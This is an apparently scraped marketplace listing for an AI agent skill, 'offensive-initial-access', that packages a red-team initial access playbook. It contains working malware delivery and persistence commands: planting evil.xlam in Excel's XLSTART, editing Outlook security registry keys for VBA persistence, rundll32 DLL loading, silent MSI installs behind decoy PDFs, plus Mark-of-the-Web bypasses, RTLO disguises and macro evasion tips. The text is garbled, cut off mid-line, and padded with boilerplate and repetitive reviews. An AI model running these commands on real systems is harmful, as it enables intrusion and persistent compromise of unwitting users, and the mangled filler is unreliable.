Agent skill / SnailSploit
### offensive-initial-access
Core file
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionoffensive-initial-accessExecute the skills CLI command in your project's root directory to begin installation:
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-initial-accessFetches offensive-initial-access from SnailSploit/Claude-Red and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate offensive-initial-access. Access via /offensive-initial-accessin your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Copy the command for your terminal
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-initial-accessWorks with
Initial access techniques checklist: phishing (spear/smishing), credential stuffing, exposed service exploitation, supply chain attacks, watering hole, VPN/RDP brute force, public-facing application exploitation. Maps to MITRE ATT&CK TA0001. Use when planning initial access phases of red team engagements.
Use this skill when the conversation involves any of:
initial access, phishing, spear phishing, credential stuffing, exposed service, supply chain, watering hole, VPN brute force, RDP attack, MITRE TA0001, initial foothold
When this skill is active:
PDF, ISO, IMG, HTML, SVG, PPTM, PPSM, ACCDEMOTW). Success often requires significant social engineering to convince users to bypass these protections or using alternative delivery methods (e.g., containers that don't propagate MOTW, signed add-ins).no-reply like usernamesGoPhis -> AWS SOCAT :587 -> smtp.gmail.com -> @target.com.one attachments and OneDrive "Add to Shortcut" abuse: embedded HTA/JS payloads bypass Office macro blocking and spread via cloud sync.curl | bash installers).GetFederationToken, presigned S3, etc.) leak temporary keys to attackers.CbtHardeningLevel is not set to Strict, credentials can still be relayed despite TLS.winrm set winrm/config/service/auth '@{CbtHardeningLevel="Strict"}'detect-it-easy, select pe and uncheck readonlyWINDOWS_GUI in Subsystem inside IMAGE_OPTIONAL_HEADERFor detailed information on converting executables and DLLs to shellcode, including:
See the Shellcode documentation.
For detailed information on EDR evasion techniques, including:
See the EDR Evasion documentation
winrm set winrm/config/service/auth '@{CbtHardeningLevel="Strict"}'.whois examinationon-demand -> on-write -> on-access -> on-execute -> real-timeFor detailed information on EDR evasion techniques, including:
See the EDR Evasion documentation.
For detailed information on Windows Defender bypass techniques, including ASR bypasses and custom detection rules evasion, see the EDR Evasion documentation.
.SLK Excel4 macros (constrained by gatekeeper)LNK, CHM, CPL, DLL, MSI, HTML, SVG; hold Office w/macros, ISO, VHD, XSL.MOTW)..NET executables in-memory%APPDATA%\Microsoft\Excel\XLSTART, they are auto-executed when starting excelHTA/ISO/PDF/ZIP/RAR/7zconhost.exeonload callbacksetTimeout delay or direct entrypoint callBlob object holding raw file datamsSaveOrOpenBlob<a style="display:none"></a> HTML nodeURL.createObjectURL() and set <a href="..."><a>.download.docm), it will likely be blocked by default Office security unless the user explicitly enables content.WScript.ShellWMI Win32_Process::CreateShell(...)MOTW) taint flagMOTW flag have their macros blocked by default, preventing automatic execution. This is a major mitigation against traditional macro-based attacks.MOTW flag to inner files when extracted, providing a potential bypass:
[!Note] (Windows 11 22H2+): ISOs opened via double-click in Explorer inherit MOTW. Using
Mount-DiskImagevia PowerShell typically avoids propagation; validate on your build.
RTLO‑tricked .EXE disguised as .PDF being legit 7‑Zip executable
.PDF.EXE when clicked, sideloads benign vcruntime140.dll that imports evil 7za.dllLNK + DLL
.LNK runs rundll32 evil.dll,SomeExportISO/IMG/ZIP can contain hidden filesLNK/CHM).docm, .xlsm) are less reliable for initial execution due to MOTW blocks unless combined with social engineering or specific bypasses.MOTW stripped (e.g., delivered inside a container like ISO/VHD)DLL/CPL/XLL to be loaded by trigger directly or indirectly with LOLBIN (XLLs also subject to MOTW blocking if downloaded directly)XLAM to be copied to XLSTART for persistence & abusing office trusted pathMSI/MSP to run during silent installation (MOTW stripped)VbaProject.OTM for outlook persistence.EXE + .DLL executing through side-loading attack# plant evil.xlam to %APPDATA%\Microsoft\Excel\XLSTART so that next time user opens up Excel it will get loaded
cmd /c echo f | xcopy /Q/R/S/Y/H/G/I evil.ini %APPDATA%\Microsoft\Excel\XLSTART | decoy.pdf
# Plant VbaProject.otm to %APPDATA%\Microsoft\Outlook\VbaProject.OTM and alter registry so upon outlook restart VBA will be loaded and act on every new email arrived
cmd /c reg add hkcu\software\micorosft\office\16.0\outlook\security /f /v Level /t reg_dword /d 1 | echo f | xcopy /Q/R/S/Y/H/G/I evil.xlam %APPDATA%\Microsoft\Outlook\VbaProject.OTM | decoy.pdf
# corrected HKCU path
cmd /c reg add hkcu\software\microsoft\office\16.0\outlook\security /f /v Level /t reg_dword /d 1 | echo f | xcopy /Q/R/S/Y/H/G/I evil.xlam %APPDATA%\Microsoft\Outlook\VbaProject.OTM | decoy.pdf
# your ZIP/ISO/IMG will contain signed executable prone to DLL Hijacking/side-loading and appropriate malicious DLL
cmd /c DISM.exe | decoy.pdf
# load .DLL through LOLBIN
cmd /c rundll32 evil.dll,Infect | decoy.pdf
# LNK/CHM that runs PowerShell to locate own .ZIP, then unpacks ZIP contents elsewhere then changes dir into there, then registers .XLL (having stripped MOTW)
# ClickOnce deployment requires several local files; bundle into ZIP/ISO, hide them, then deploy ClickOnce followed by opening decoy.pdf
# PowerShell might use Unblock-File on .MSI and then silently install it
powershell Unblock-File evil.msi; msiexec /q /i .\evil.msi ; .\decoy.pdf
# install signed MSI and apply an unsigned MST
powershell msiexec /q /i .\Zoom-signed-installer.msi TRANSFORMS=evil.mst ; .\decoy.pdf
# run WSH script
cmd /c wscript evil.wsf | decoy.pdf
# LNK/CHM that runs PowerShell to locate its own ZIP, then unpacks ZIP contents elsewhere, changes directory and runs tasks (e.g., deploy ClickOnce)
AutoOpen, Document_Open) is significantly diminished due to Microsoft's default security policy blocking macros in files downloaded from the internet (MOTW). Successful execution often requires social engineering to have the user explicitly trust the document/location or alternative execution methods (like COM hijacking triggered later, Add-Ins, etc.).Alt+F11IM - quickly inserts VBA module into a documentGetUserNameA might be fine but things like CreateProcessA is a big no-noAutoOpen,Document_Open, etc can be used to auto-run our scriptWscript.Shell.Exec - prefix with obf_ to facilitate later obfuscationInvokeVerbEx - evades detection but sometimes doesn't work with LOLBINRDS.DataSpace - supposed to be obsolete, but still works# ev
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
I recommend offensive-initial-access for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
Keeps context tight: offensive-initial-access is the kind of skill you can hand to a new teammate without a long onboarding doc.
Registry listing for offensive-initial-access matched our evaluation — installs cleanly and behaves as described in the markdown.
offensive-initial-access has been reliable in day-to-day use. Documentation quality is above average for community skills.
offensive-initial-access reduced setup friction for our internal harness; good balance of opinion and flexibility.
offensive-initial-access is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Useful defaults in offensive-initial-access — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
offensive-initial-access has been reliable in day-to-day use. Documentation quality is above average for community skills.
Solid pick for teams standardizing on skills: offensive-initial-access is focused, and the summary matches what you get after install.
Keeps context tight: offensive-initial-access is the kind of skill you can hand to a new teammate without a long onboarding doc.
showing 1-10 of 46